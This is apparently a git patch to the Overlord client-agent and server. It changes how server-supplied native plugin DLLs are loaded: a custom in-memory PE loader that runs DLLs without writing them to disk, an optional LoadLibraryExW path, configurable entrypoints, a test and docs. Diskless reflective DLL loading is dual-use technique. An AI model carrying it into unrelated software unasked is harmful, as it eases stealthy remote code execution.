From 2c42a989cf9a41523ef4f2d3633bc9c4a4cb02d1 Mon Sep 17 00:00:00 2001 From: KingKDot Date: Sun, 28 Jun 2026 23:46:56 -0500 Subject: [PATCH] dll plugin loading heavily improved --- .../cmd/agent/plugins/loader_darwin.go | 11 +- .../cmd/agent/plugins/loader_linux.go | 11 +- .../cmd/agent/plugins/loader_stub.go | 2 +- .../cmd/agent/plugins/loader_windows.go | 202 ++++++++++++++++-- Overlord-Client/cmd/agent/plugins/manager.go | 2 +- .../cmd/agent/plugins/native_entrypoints.go | 35 +++ .../cmd/agent/plugins/peloader_windows.go | 102 +++++++-- Overlord-Client/cmd/agent/plugins/types.go | 44 ++-- Overlord-Server/src/protocol.ts | 10 + .../src/server/plugin-state-bundle.test.ts | 34 +++ .../src/server/plugin-state-bundle.ts | 24 +++ plugins/docs/bundle-format.md | 18 ++ plugins/docs/legacy-native-plugins.md | 39 +++- 13 files changed, 471 insertions(+), 63 deletions(-) create mode 100644 Overlord-Client/cmd/agent/plugins/native_entrypoints.go diff --git a/Overlord-Client/cmd/agent/plugins/loader_darwin.go b/Overlord-Client/cmd/agent/plugins/loader_darwin.go index 41f25d0..0761665 100644 --- a/Overlord-Client/cmd/agent/plugins/loader_darwin.go +++ b/Overlord-Client/cmd/agent/plugins/loader_darwin.go @@ -74,10 +74,11 @@ func goPluginHostCallback(ctx C.uintptr_t, event *C.char, eventLen C.int, payloa send(ev, pl) } -func loadNativePlugin(data []byte) (NativePlugin, error) { +func loadNativePlugin(manifest PluginManifest, data []byte) (NativePlugin, error) { if len(data) == 0 { return nil, errors.New("empty plugin binary") } + entries := nativeEntries(manifest) f, err := os.CreateTemp("", "*.dylib") if err != nil { @@ -114,24 +115,24 @@ func loadNativePlugin(data []byte) (NativePlugin, error) { return s, nil } - onLoad, err := resolve("PluginOnLoad") + onLoad, err := resolve(entries.onLoad) if err != nil { C.so_dlclose(handle) return nil, err } - onEvent, err := resolve("PluginOnEvent") + onEvent, err := resolve(entries.onEvent) if err != nil { C.so_dlclose(handle) return nil, err } - onUnload, err := resolve("PluginOnUnload") + onUnload, err := resolve(entries.onUnload) if err != nil { C.so_dlclose(handle) return nil, err } pluginRT := "go" - if getRuntimeFn, err := resolve("PluginGetRuntime"); err == nil { + if getRuntimeFn, err := resolve(entries.getRuntime); err == nil { if cs := C.so_call_getruntime(getRuntimeFn); cs != nil { pluginRT = C.GoString(cs) } diff --git a/Overlord-Client/cmd/agent/plugins/loader_linux.go b/Overlord-Client/cmd/agent/plugins/loader_linux.go index 8468b84..c845b32 100644 --- a/Overlord-Client/cmd/agent/plugins/loader_linux.go +++ b/Overlord-Client/cmd/agent/plugins/loader_linux.go @@ -101,10 +101,11 @@ func goPluginHostCallback(ctx C.uintptr_t, event *C.char, eventLen C.int, payloa send(ev, pl) } -func loadNativePlugin(data []byte) (NativePlugin, error) { +func loadNativePlugin(manifest PluginManifest, data []byte) (NativePlugin, error) { if len(data) == 0 { return nil, errors.New("empty plugin binary") } + entries := nativeEntries(manifest) // Prefer the subprocess shim approach: the main agent binary is statically // linked (musl -static) which prevents dlopen from working in-process. @@ -145,24 +146,24 @@ func loadNativePlugin(data []byte) (NativePlugin, error) { return s, nil } - onLoad, err := resolve("PluginOnLoad") + onLoad, err := resolve(entries.onLoad) if err != nil { C.so_dlclose(handle) return nil, err } - onEvent, err := resolve("PluginOnEvent") + onEvent, err := resolve(entries.onEvent) if err != nil { C.so_dlclose(handle) return nil, err } - onUnload, err := resolve("PluginOnUnload") + onUnload, err := resolve(entries.onUnload) if err != nil { C.so_dlclose(handle) return nil, err } pluginRT := "go" - if getRuntimeFn, err := resolve("PluginGetRuntime"); err == nil { + if getRuntimeFn, err := resolve(entries.getRuntime); err == nil { if cs := C.so_call_getruntime(getRuntimeFn); cs != nil { pluginRT = C.GoString(cs) } diff --git a/Overlord-Client/cmd/agent/plugins/loader_stub.go b/Overlord-Client/cmd/agent/plugins/loader_stub.go index 398c4fc..a6ca930 100644 --- a/Overlord-Client/cmd/agent/plugins/loader_stub.go +++ b/Overlord-Client/cmd/agent/plugins/loader_stub.go @@ -4,6 +4,6 @@ package plugins import "errors" -func loadNativePlugin(data []byte) (NativePlugin, error) { +func loadNativePlugin(manifest PluginManifest, data []byte) (NativePlugin, error) { return nil, errors.New("native plugins not supported on this platform (requires cgo on linux/darwin, or windows)") } diff --git a/Overlord-Client/cmd/agent/plugins/loader_windows.go b/Overlord-Client/cmd/agent/plugins/loader_windows.go index 1226f04..dbcd0e6 100644 --- a/Overlord-Client/cmd/agent/plugins/loader_windows.go +++ b/Overlord-Client/cmd/agent/plugins/loader_windows.go @@ -3,18 +3,49 @@ package plugins import ( + "crypto/sha256" + "encoding/hex" "errors" "fmt" "log" + "os" + "path/filepath" "runtime" + "strings" "syscall" "unsafe" + + "golang.org/x/sys/windows" ) -func loadNativePlugin(data []byte) (NativePlugin, error) { +const ( + loadLibrarySearchDLLLoadDir = 0x00000100 + loadLibrarySearchDefaultDirs = 0x00001000 +) + +var procLoadLibraryExW = modKernel32.NewProc("LoadLibraryExW") + +func loadNativePlugin(manifest PluginManifest, data []byte) (NativePlugin, error) { if len(data) == 0 { return nil, errors.New("empty plugin binary") } + if shouldUseOSNativeLoader(manifest.NativeLoader) { + return loadNativePluginOS(manifest, data) + } + return loadNativePluginMemory(manifest, data) +} + +func shouldUseOSNativeLoader(loader string) bool { + switch strings.ToLower(strings.TrimSpace(loader)) { + case "os", "disk", "file", "loadlibrary", "loadlibraryex": + return true + default: + return false + } +} + +func loadNativePluginMemory(manifest PluginManifest, data []byte) (NativePlugin, error) { + entries := nativeEntries(manifest) type initResult struct { dp *dllPlugin @@ -44,21 +75,21 @@ func loadNativePlugin(data []byte) (NativePlugin, error) { return } - onLoad, err := mm.GetExport("PluginOnLoad") + onLoad, err := mm.GetExport(entries.onLoad) if err != nil { mm.Free() ch <- initResult{err: err} runtime.UnlockOSThread() return } - onEvent, err := mm.GetExport("PluginOnEvent") + onEvent, err := mm.GetExport(entries.onEvent) if err != nil { mm.Free() ch <- initResult{err: err} runtime.UnlockOSThread() return } - onUnload, err := mm.GetExport("PluginOnUnload") + onUnload, err := mm.GetExport(entries.onUnload) if err != nil { mm.Free() ch <- initResult{err: err} @@ -66,10 +97,10 @@ func loadNativePlugin(data []byte) (NativePlugin, error) { return } - setCallback, _ := mm.GetExport("PluginSetCallback") + setCallback, _ := mm.GetExport(entries.setCallback) rt := "go" - if getRuntimeAddr, err := mm.GetExport("PluginGetRuntime"); err == nil { + if getRuntimeAddr, err := mm.GetExport(entries.getRuntime); err == nil { ret, _, _ := syscall.SyscallN(getRuntimeAddr) if ret != 0 { var buf [32]byte @@ -108,6 +139,125 @@ func loadNativePlugin(data []byte) (NativePlugin, error) { return res.dp, nil } +func loadNativePluginOS(manifest PluginManifest, data []byte) (NativePlugin, error) { + entries := nativeEntries(manifest) + dllPath, err := stageNativePluginDLL(manifest, data) + if err != nil { + return nil, err + } + path16, err := windows.UTF16PtrFromString(dllPath) + if err != nil { + return nil, err + } + flags := uintptr(loadLibrarySearchDLLLoadDir | loadLibrarySearchDefaultDirs) + h, _, callErr := procLoadLibraryExW.Call(uintptr(unsafe.Pointer(path16)), 0, flags) + if h == 0 { + return nil, fmt.Errorf("LoadLibraryExW(%s): %w", dllPath, callErr) + } + module := windows.Handle(h) + + resolve := func(name string, required bool) (uintptr, error) { + addr, err := windows.GetProcAddress(module, name) + if err != nil { + if required { + return 0, fmt.Errorf("GetProcAddress(%s): %w", name, err) + } + return 0, nil + } + return addr, nil + } + + onLoad, err := resolve(entries.onLoad, true) + if err != nil { + _ = windows.FreeLibrary(module) + return nil, err + } + onEvent, err := resolve(entries.onEvent, true) + if err != nil { + _ = windows.FreeLibrary(module) + return nil, err + } + onUnload, err := resolve(entries.onUnload, true) + if err != nil { + _ = windows.FreeLibrary(module) + return nil, err + } + setCallback, _ := resolve(entries.setCallback, false) + + rt := "go" + if getRuntimeAddr, err := resolve(entries.getRuntime, false); err == nil && getRuntimeAddr != 0 { + ret, _, _ := syscall.SyscallN(getRuntimeAddr) + if ret != 0 { + var buf [32]byte + for i := range buf { + b := *(*byte)(unsafe.Pointer(ret + uintptr(i))) + if b == 0 { + rt = string(buf[:i]) + break + } + buf[i] = b + } + } + } + + dp := &dllPlugin{ + module: module, + modulePath: dllPath, + onLoadAddr: onLoad, + onEventAddr: onEvent, + onUnloadAddr: onUnload, + setCallbackAddr: setCallback, + pluginRuntime: rt, + workCh: make(chan pluginWork), + } + go dp.workerLoop() + return dp, nil +} + +func stageNativePluginDLL(manifest PluginManifest, data []byte) (string, error) { + sum := sha256.Sum256(data) + hash := hex.EncodeToString(sum[:]) + root, err := os.UserCacheDir() + if err != nil || strings.TrimSpace(root) == "" { + root = os.TempDir() + } + pluginID := sanitizeCacheName(manifest.ID) + if pluginID == "" { + pluginID = "plugin" + } + dir := filepath.Join(root, "Overlord", "plugins", pluginID, hash) + if err := os.MkdirAll(dir, 0700); err != nil { + return "", fmt.Errorf("create plugin cache: %w", err) + } + target := filepath.Join(dir, pluginID+".dll") + if st, err := os.Stat(target); err == nil && st.Size() == int64(len(data)) { + return target, nil + } + tmp := target + ".tmp" + if err := os.WriteFile(tmp, data, 0600); err != nil { + return "", fmt.Errorf("write plugin cache: %w", err) + } + if err := os.Rename(tmp, target); err != nil { + _ = os.Remove(tmp) + if st, statErr := os.Stat(target); statErr == nil && st.Size() == int64(len(data)) { + return target, nil + } + return "", fmt.Errorf("finalize plugin cache: %w", err) + } + return target, nil +} + +func sanitizeCacheName(value string) string { + value = strings.TrimSpace(value) + var b strings.Builder + for _, r := range value { + if (r >= 'a' && r <= 'z') || (r >= 'A' && r <= 'Z') || (r >= '0' && r <= '9') || r == '-' || r == '_' || r == '.' { + b.WriteRune(r) + } + } + return b.String() +} + type pluginWork struct { fn func() error done chan error @@ -115,6 +265,8 @@ type pluginWork struct { type dllPlugin struct { mem *MemoryModule + module windows.Handle + modulePath string onLoadAddr uintptr onEventAddr uintptr onUnloadAddr uintptr @@ -181,23 +333,24 @@ func (p *dllPlugin) Event(event string, payload []byte) error { log.Printf("[panic] plugin event panic: %v", r) } }() - runtime.LockOSThread() - defer runtime.UnlockOSThread() - - cleanup := p.mem.SetupThreadTLS() - defer cleanup() - - var eventPtr, payloadPtr uintptr - eventLen := uintptr(len(eventBytes)) - payloadLen := uintptr(len(payloadCopy)) - if len(eventBytes) > 0 { - eventPtr = uintptr(unsafe.Pointer(&eventBytes[0])) + if err := p.runOnWorker(func() error { + var eventPtr, payloadPtr uintptr + eventLen := uintptr(len(eventBytes)) + payloadLen := uintptr(len(payloadCopy)) + if len(eventBytes) > 0 { + eventPtr = uintptr(unsafe.Pointer(&eventBytes[0])) + } + if len(payloadCopy) > 0 { + payloadPtr = uintptr(unsafe.Pointer(&payloadCopy[0])) + } + ret, _, _ := syscall.SyscallN(p.onEventAddr, eventPtr, eventLen, payloadPtr, payloadLen) + if int32(ret) != 0 { + return errors.New("PluginOnEvent returned non-zero") + } + return nil + }); err != nil { + log.Printf("[plugin] event error: %v", err) } - if len(payloadCopy) > 0 { - payloadPtr = uintptr(unsafe.Pointer(&payloadCopy[0])) - } - - syscall.SyscallN(p.onEventAddr, eventPtr, eventLen, payloadPtr, payloadLen) }() return nil } @@ -219,8 +372,13 @@ func (p *dllPlugin) Close() error { p.mem.Free() p.mem = nil } + if p.module != 0 { + _ = windows.FreeLibrary(p.module) + p.module = 0 + } } else { p.mem = nil + p.module = 0 } return nil } diff --git a/Overlord-Client/cmd/agent/plugins/manager.go b/Overlord-Client/cmd/agent/plugins/manager.go index f78a698..792e40c 100644 --- a/Overlord-Client/cmd/agent/plugins/manager.go +++ b/Overlord-Client/cmd/agent/plugins/manager.go @@ -54,7 +54,7 @@ func (m *Manager) Load(ctx context.Context, manifest PluginManifest, binary []by if manifest.RuntimeKind == "wasm" || manifest.WASM != "" { np, err = loadWASMPlugin(ctx, manifest, binary) } else { - np, err = loadNativePlugin(binary) + np, err = loadNativePlugin(manifest, binary) } if err != nil { return err diff --git a/Overlord-Client/cmd/agent/plugins/native_entrypoints.go b/Overlord-Client/cmd/agent/plugins/native_entrypoints.go new file mode 100644 index 0000000..8a77254 --- /dev/null +++ b/Overlord-Client/cmd/agent/plugins/native_entrypoints.go @@ -0,0 +1,35 @@ +package plugins + +type nativeEntryNames struct { + onLoad string + onEvent string + onUnload string + setCallback string + getRuntime string +} + +func nativeEntries(manifest PluginManifest) nativeEntryNames { + names := nativeEntryNames{ + onLoad: "PluginOnLoad", + onEvent: "PluginOnEvent", + onUnload: "PluginOnUnload", + setCallback: "PluginSetCallback", + getRuntime: "PluginGetRuntime", + } + if manifest.NativeEntrypoints.OnLoad != "" { + names.onLoad = manifest.NativeEntrypoints.OnLoad + } + if manifest.NativeEntrypoints.OnEvent != "" { + names.onEvent = manifest.NativeEntrypoints.OnEvent + } + if manifest.NativeEntrypoints.OnUnload != "" { + names.onUnload = manifest.NativeEntrypoints.OnUnload + } + if manifest.NativeEntrypoints.SetCallback != "" { + names.setCallback = manifest.NativeEntrypoints.SetCallback + } + if manifest.NativeEntrypoints.GetRuntime != "" { + names.getRuntime = manifest.NativeEntrypoints.GetRuntime + } + return names +} diff --git a/Overlord-Client/cmd/agent/plugins/peloader_windows.go b/Overlord-Client/cmd/agent/plugins/peloader_windows.go index d0cd345..6aa099d 100644 --- a/Overlord-Client/cmd/agent/plugins/peloader_windows.go +++ b/Overlord-Client/cmd/agent/plugins/peloader_windows.go @@ -19,6 +19,7 @@ const ( imageDirectoryEntryExport = 0 imageDirectoryEntryImport = 1 + imageDirectoryEntryException = 3 imageDirectoryEntryBaseReloc = 5 imageDirectoryEntryTLS = 9 @@ -122,17 +123,26 @@ type imageTLSDirectory64 struct { Characteristics uint32 } +type imageRuntimeFunction struct { + BeginAddress uint32 + EndAddress uint32 + UnwindInfoAddress uint32 +} + type MemoryModule struct { - base uintptr - size uintptr - entryPoint uintptr - exports map[string]uintptr - importDLLs []windows.Handle - initialized bool - tlsIndex uint32 // index returned by TlsAlloc; 0xFFFFFFFF if no TLS dir - tlsTemplSrc uintptr // PE template raw data start (for copying to new threads) - tlsTemplSize uintptr // dataSize (template bytes to copy) - tlsTotalSize uintptr // dataSize + zeroFill (total allocation per thread) + base uintptr + size uintptr + entryPoint uintptr + exports map[string]uintptr + importDLLs []windows.Handle + initialized bool + functionTable uintptr + functionCount uint32 + functionTableRegistered bool + tlsIndex uint32 // index returned by TlsAlloc; 0xFFFFFFFF if no TLS dir + tlsTemplSrc uintptr // PE template raw data start (for copying to new threads) + tlsTemplSize uintptr // dataSize (template bytes to copy) + tlsTotalSize uintptr // dataSize + zeroFill (total allocation per thread) } func LoadMemoryModule(data []byte) (*MemoryModule, error) { @@ -251,6 +261,11 @@ func LoadMemoryModule(data []byte) (*MemoryModule, error) { _ = windows.VirtualProtect(base+uintptr(sec.VirtualAddress), size, prot, &oldProt) } + if err := mm.registerExceptionTable(); err != nil { + mm.Free() + return nil, err + } + mm.setupTLS(dllProcessAttach) if mappedNT.OptionalHeader.AddressOfEntryPoint != 0 { @@ -293,6 +308,10 @@ func (mm *MemoryModule) Free() { syscall.SyscallN(mm.entryPoint, mm.base, dllProcessDetach, 0) mm.initialized = false } + if mm.functionTableRegistered { + _, _, _ = procRtlDeleteFunctionTable.Call(mm.functionTable) + mm.functionTableRegistered = false + } if mm.tlsIndex != tlsOutOfIndexes { // Free our load-thread per-thread block (held in the slot) // before releasing the slot itself, so the OS can reuse it. @@ -346,6 +365,32 @@ func (mm *MemoryModule) processRelocations(dir imageDataDirectory, delta int64) return nil } +func (mm *MemoryModule) registerExceptionTable() error { + dosHdr := (*imageDOSHeader)(unsafe.Pointer(mm.base)) + ntHdr := (*imageNTHeaders64)(unsafe.Pointer(mm.base + uintptr(dosHdr.LfaNew))) + excDir := ntHdr.OptionalHeader.DataDirectory[imageDirectoryEntryException] + if excDir.VirtualAddress == 0 || excDir.Size == 0 { + return nil + } + entrySize := uint32(unsafe.Sizeof(imageRuntimeFunction{})) + if excDir.Size%entrySize != 0 { + return fmt.Errorf("pe: invalid exception directory size") + } + if uintptr(excDir.VirtualAddress)+uintptr(excDir.Size) > mm.size { + return fmt.Errorf("pe: exception directory out of bounds") + } + table := mm.base + uintptr(excDir.VirtualAddress) + count := excDir.Size / entrySize + r, _, err := procRtlAddFunctionTable.Call(table, uintptr(count), mm.base) + if r == 0 { + return fmt.Errorf("pe: RtlAddFunctionTable failed: %w", err) + } + mm.functionTable = table + mm.functionCount = count + mm.functionTableRegistered = true + return nil +} + func (mm *MemoryModule) resolveImports(dir imageDataDirectory) error { descSize := unsafe.Sizeof(imageImportDescriptor{}) offset := uintptr(dir.VirtualAddress) @@ -448,8 +493,14 @@ func (mm *MemoryModule) setupTLS(reason uint32) { } tls := (*imageTLSDirectory64)(unsafe.Pointer(mm.base + uintptr(tlsDir.VirtualAddress))) + if tls.EndAddressOfRawData < tls.StartAddressOfRawData { + return + } dataSize := uintptr(tls.EndAddressOfRawData - tls.StartAddressOfRawData) totalSize := dataSize + uintptr(tls.SizeOfZeroFill) + if dataSize > 0 && !mm.containsAddress(uintptr(tls.StartAddressOfRawData), dataSize) { + return + } // Reserve a real TLS slot through the Win32 loader. ntdll grows the // TEB's TLS array to fit, and this slot is interoperable with the @@ -494,6 +545,9 @@ func (mm *MemoryModule) setupTLS(reason uint32) { if tls.AddressOfCallBacks != 0 { cbAddr := uintptr(tls.AddressOfCallBacks) + if !mm.containsAddress(cbAddr, unsafe.Sizeof(uintptr(0))) { + return + } for { cb := *(*uintptr)(unsafe.Pointer(cbAddr)) if cb == 0 { @@ -501,6 +555,9 @@ func (mm *MemoryModule) setupTLS(reason uint32) { } syscall.SyscallN(cb, mm.base, uintptr(reason), 0) cbAddr += 8 + if !mm.containsAddress(cbAddr, unsafe.Sizeof(uintptr(0))) { + break + } } } } @@ -537,6 +594,17 @@ func (mm *MemoryModule) SetupThreadTLS() func() { } } +func (mm *MemoryModule) containsAddress(addr uintptr, size uintptr) bool { + if size == 0 { + return addr >= mm.base && addr <= mm.base+mm.size + } + if addr < mm.base { + return false + } + offset := addr - mm.base + return offset <= mm.size && size <= mm.size-offset +} + func peString(addr uintptr) string { var buf []byte for i := 0; i < 4096; i++ { // safety limit @@ -577,12 +645,14 @@ func sectionProtection(chars uint32) uint32 { } var ( - modKernel32 = windows.NewLazySystemDLL("kernel32.dll") - procGetProcAddr = modKernel32.NewProc("GetProcAddress") - procTlsAlloc = modKernel32.NewProc("TlsAlloc") - procTlsFree = modKernel32.NewProc("TlsFree") - procTlsSetValue = modKernel32.NewProc("TlsSetValue") - procTlsGetValue = modKernel32.NewProc("TlsGetValue") + modKernel32 = windows.NewLazySystemDLL("kernel32.dll") + procGetProcAddr = modKernel32.NewProc("GetProcAddress") + procRtlAddFunctionTable = modKernel32.NewProc("RtlAddFunctionTable") + procRtlDeleteFunctionTable = modKernel32.NewProc("RtlDeleteFunctionTable") + procTlsAlloc = modKernel32.NewProc("TlsAlloc") + procTlsFree = modKernel32.NewProc("TlsFree") + procTlsSetValue = modKernel32.NewProc("TlsSetValue") + procTlsGetValue = modKernel32.NewProc("TlsGetValue") ) const tlsOutOfIndexes uint32 = 0xFFFFFFFF diff --git a/Overlord-Client/cmd/agent/plugins/types.go b/Overlord-Client/cmd/agent/plugins/types.go index 66a6af6..27d2760 100644 --- a/Overlord-Client/cmd/agent/plugins/types.go +++ b/Overlord-Client/cmd/agent/plugins/types.go @@ -9,24 +9,34 @@ type PluginAssets struct { } type PluginManifest struct { - ID string `msgpack:"id" json:"id"` - Name string `msgpack:"name" json:"name"` - APIVersion int `msgpack:"apiVersion,omitempty" json:"apiVersion,omitempty"` - RuntimeKind string `msgpack:"runtime,omitempty" json:"runtime,omitempty"` - Version string `msgpack:"version,omitempty" json:"version,omitempty"` - Description string `msgpack:"description,omitempty" json:"description,omitempty"` - Binary string `msgpack:"binary,omitempty" json:"binary,omitempty"` - Binaries map[string]string `msgpack:"binaries,omitempty" json:"binaries,omitempty"` - WASM string `msgpack:"wasm,omitempty" json:"wasm,omitempty"` - Needs PluginNeeds `msgpack:"needs,omitempty" json:"needs,omitempty"` - Entry string `msgpack:"entry,omitempty" json:"entry,omitempty"` - Assets PluginAssets `msgpack:"assets,omitempty" json:"assets,omitempty"` + ID string `msgpack:"id" json:"id"` + Name string `msgpack:"name" json:"name"` + APIVersion int `msgpack:"apiVersion,omitempty" json:"apiVersion,omitempty"` + RuntimeKind string `msgpack:"runtime,omitempty" json:"runtime,omitempty"` + NativeLoader string `msgpack:"nativeLoader,omitempty" json:"nativeLoader,omitempty"` + NativeEntrypoints NativeEntrypoints `msgpack:"nativeEntrypoints,omitempty" json:"nativeEntrypoints,omitempty"` + Version string `msgpack:"version,omitempty" json:"version,omitempty"` + Description string `msgpack:"description,omitempty" json:"description,omitempty"` + Binary string `msgpack:"binary,omitempty" json:"binary,omitempty"` + Binaries map[string]string `msgpack:"binaries,omitempty" json:"binaries,omitempty"` + WASM string `msgpack:"wasm,omitempty" json:"wasm,omitempty"` + Needs PluginNeeds `msgpack:"needs,omitempty" json:"needs,omitempty"` + Entry string `msgpack:"entry,omitempty" json:"entry,omitempty"` + Assets PluginAssets `msgpack:"assets,omitempty" json:"assets,omitempty"` } type PluginNeeds struct { Files []PluginFileNeed `msgpack:"files,omitempty" json:"files,omitempty"` } +type NativeEntrypoints struct { + OnLoad string `msgpack:"onLoad,omitempty" json:"onLoad,omitempty"` + OnEvent string `msgpack:"onEvent,omitempty" json:"onEvent,omitempty"` + OnUnload string `msgpack:"onUnload,omitempty" json:"onUnload,omitempty"` + SetCallback string `msgpack:"setCallback,omitempty" json:"setCallback,omitempty"` + GetRuntime string `msgpack:"getRuntime,omitempty" json:"getRuntime,omitempty"` +} + type PluginFileNeed struct { Bucket string `msgpack:"bucket" json:"bucket"` Access []string `msgpack:"access" json:"access"` @@ -67,11 +77,21 @@ func ManifestFromMap(m map[string]interface{}) (PluginManifest, error) { manifest.Name = stringVal(m["name"]) manifest.APIVersion = intVal(m["apiVersion"]) manifest.RuntimeKind = stringVal(m["runtime"]) + manifest.NativeLoader = stringVal(m["nativeLoader"]) manifest.Version = stringVal(m["version"]) manifest.Description = stringVal(m["description"]) manifest.Binary = stringVal(m["binary"]) manifest.WASM = stringVal(m["wasm"]) manifest.Entry = stringVal(m["entry"]) + if entryRaw, ok := m["nativeEntrypoints"].(map[string]interface{}); ok { + manifest.NativeEntrypoints = NativeEntrypoints{ + OnLoad: stringVal(entryRaw["onLoad"]), + OnEvent: stringVal(entryRaw["onEvent"]), + OnUnload: stringVal(entryRaw["onUnload"]), + SetCallback: stringVal(entryRaw["setCallback"]), + GetRuntime: stringVal(entryRaw["getRuntime"]), + } + } if binariesRaw, ok := m["binaries"].(map[string]interface{}); ok { manifest.Binaries = make(map[string]string, len(binariesRaw)) diff --git a/Overlord-Server/src/protocol.ts b/Overlord-Server/src/protocol.ts index d23aadc..7e3807a 100644 --- a/Overlord-Server/src/protocol.ts +++ b/Overlord-Server/src/protocol.ts @@ -357,6 +357,8 @@ export type PluginManifest = { name: string; apiVersion?: number; runtime?: "native" | "wasm" | "server" | string; + nativeLoader?: "memory" | "os" | string; + nativeEntrypoints?: PluginNativeEntrypoints; version?: string; description?: string; binary?: string; @@ -378,6 +380,14 @@ export type PluginManifest = { hasServer?: boolean; }; +export type PluginNativeEntrypoints = { + onLoad?: string; + onEvent?: string; + onUnload?: string; + setCallback?: string; + getRuntime?: string; +}; + export type PluginDashboardIntegration = { clientBadges?: PluginDashboardBadgeDefinition[]; }; diff --git a/Overlord-Server/src/server/plugin-state-bundle.test.ts b/Overlord-Server/src/server/plugin-state-bundle.test.ts index b406916..169b61a 100644 --- a/Overlord-Server/src/server/plugin-state-bundle.test.ts +++ b/Overlord-Server/src/server/plugin-state-bundle.test.ts @@ -96,6 +96,40 @@ describe("loadPluginBundle", () => { expect(bundle.binaryPath).toBe(join(root, "plink", "plink-windows-amd64.dll")); }); + test("preserves native loader and custom entrypoint metadata from config", async () => { + const root = await createTempRoot(); + const AdmZip = require("adm-zip"); + const zip = new AdmZip(); + zip.addFile("config.json", Buffer.from(JSON.stringify({ + name: "Native Loader Demo", + apiVersion: 2, + runtime: "native", + nativeLoader: "loadlibraryex", + nativeEntrypoints: { + onLoad: "StartPlugin", + onEvent: "HandlePluginEvent", + onUnload: "StopPlugin", + setCallback: "SetHostCallback", + getRuntime: "RuntimeName", + }, + }))); + zip.addFile("native-loader-demo.html", Buffer.from("
")); + zip.addFile("native-loader-demo.css", Buffer.from("#native-loader-demo { display: block; }")); + zip.addFile("native-loader-demo.js", Buffer.from("document.body.dataset.nativeLoaderDemo = '1';")); + zip.addFile("native-loader-demo-windows-amd64.dll", Buffer.from("native-dll")); + zip.writeZip(join(root, "native-loader-demo.zip")); + + await ensurePluginExtracted(root, "native-loader-demo", (name) => name); + const manifest = JSON.parse(await readFile(join(root, "native-loader-demo", "manifest.json"), "utf-8")); + + expect(manifest.nativeLoader).toBe("os"); + expect(manifest.nativeEntrypoints.onLoad).toBe("StartPlugin"); + expect(manifest.nativeEntrypoints.onEvent).toBe("HandlePluginEvent"); + expect(manifest.nativeEntrypoints.onUnload).toBe("StopPlugin"); + expect(manifest.nativeEntrypoints.setCallback).toBe("SetHostCallback"); + expect(manifest.nativeEntrypoints.getRuntime).toBe("RuntimeName"); + }); + test("preserves dashboard badge metadata from config", async () => { const root = await createTempRoot(); const AdmZip = require("adm-zip"); diff --git a/Overlord-Server/src/server/plugin-state-bundle.ts b/Overlord-Server/src/server/plugin-state-bundle.ts index e3e7171..e36966f 100644 --- a/Overlord-Server/src/server/plugin-state-bundle.ts +++ b/Overlord-Server/src/server/plugin-state-bundle.ts @@ -200,6 +200,8 @@ export async function ensurePluginExtracted( } const runtime = normalizePluginRuntime(extraConfig.runtime, wasmEntry !== null); + const nativeLoader = normalizeNativeLoader(extraConfig.nativeLoader); + const nativeEntrypoints = normalizeNativeEntrypoints(extraConfig.nativeEntrypoints); const needs = normalizePluginNeeds(extraConfig.needs); const build = normalizePluginBuildIntegration(extraConfig.build); const manifest: PluginManifest = { @@ -207,6 +209,8 @@ export async function ensurePluginExtracted( name: extraConfig.name || safeId, apiVersion: Number(extraConfig.apiVersion) === 2 || runtime === "wasm" ? 2 : 1, runtime, + ...(nativeLoader && { nativeLoader }), + ...(nativeEntrypoints && { nativeEntrypoints }), version: extraConfig.version || "1.0.0", description: extraConfig.description, ...(typeof extraConfig.binary === "string" && extraConfig.binary && { binary: extraConfig.binary }), @@ -634,6 +638,26 @@ function normalizePluginRuntime(runtime: any, hasWasm: boolean): "native" | "was return "native"; } +function normalizeNativeLoader(loader: any): "memory" | "os" | undefined { + const value = typeof loader === "string" ? loader.trim().toLowerCase() : ""; + if (["memory", "mem", "reflective", "manual"].includes(value)) return "memory"; + if (["os", "disk", "file", "loadlibrary", "loadlibraryex"].includes(value)) return "os"; + return undefined; +} + +function normalizeNativeEntrypoints(raw: any): any | undefined { + if (!raw || typeof raw !== "object") return undefined; + const out: any = {}; + for (const key of ["onLoad", "onEvent", "onUnload", "setCallback", "getRuntime"]) { + const value = raw[key]; + if (typeof value !== "string") continue; + const trimmed = value.trim(); + if (!/^[A-Za-z_][A-Za-z0-9_@$?.-]{0,127}$/.test(trimmed)) continue; + out[key] = trimmed; + } + return Object.keys(out).length > 0 ? out : undefined; +} + function normalizePluginBuildIntegration(raw: any): any | undefined { if (!raw || typeof raw !== "object") return undefined; const build: any = {}; diff --git a/plugins/docs/bundle-format.md b/plugins/docs/bundle-format.md index 25542bf..82ab990 100644 --- a/plugins/docs/bundle-format.md +++ b/plugins/docs/bundle-format.md @@ -40,6 +40,24 @@ Use: Server-only plugins are not sent to clients and do not use auto-load. +Native plugins can choose the Windows loader mode and exported ABI names: + +```json +{ + "runtime": "native", + "nativeLoader": "os", + "nativeEntrypoints": { + "onLoad": "MyLoad", + "onEvent": "MyEvent", + "onUnload": "MyUnload", + "setCallback": "MySetCallback", + "getRuntime": "MyRuntime" + } +} +``` + +`nativeLoader` accepts `memory` for the in-memory PE loader or `os` for the platform loader. On Windows, `os` stages the DLL in the agent cache and loads it with `LoadLibraryExW`, which is more compatible with runtimes that expect normal loader initialization. Omit `nativeEntrypoints` to use the standard `PluginOnLoad`, `PluginOnEvent`, `PluginOnUnload`, `PluginSetCallback`, and `PluginGetRuntime` exports. + ## Manifest Fields `config.json` is merged into the generated `manifest.json`. diff --git a/plugins/docs/legacy-native-plugins.md b/plugins/docs/legacy-native-plugins.md index 34b8458..e98d4ac 100644 --- a/plugins/docs/legacy-native-plugins.md +++ b/plugins/docs/legacy-native-plugins.md @@ -172,12 +172,49 @@ Go shared libraries cannot be fully unloaded safely because the Go runtime owns | Platform | Loading behavior | |----------|------------------| -| Windows | DLLs are loaded from memory through the custom PE loader. | +| Windows | DLLs default to the custom in-memory PE loader. Plugins can set `nativeLoader: "os"` to stage the DLL in the agent cache and load it with `LoadLibraryExW`. | | Linux | Shared libraries are loaded through the static-agent subprocess shim when needed. | | macOS | Dynamic libraries are loaded through the platform loader. | Because Windows uses an in-memory PE loader, some runtime primitives that assume normal `LoadLibrary` initialization can be fragile. The Rust sample avoids `std::sync::Mutex` for this reason and uses C-style globals; the host serializes plugin calls. +### Windows Loader Selection + +Set `nativeLoader` in `config.json`: + +```json +{ + "runtime": "native", + "nativeLoader": "memory" +} +``` + +| Value | Behavior | +|-------|----------| +| `memory` | Default. Loads the PE image from bytes without staging the plugin DLL on disk. | +| `os` | Writes a content-addressed copy to the agent cache and loads it with `LoadLibraryExW`. 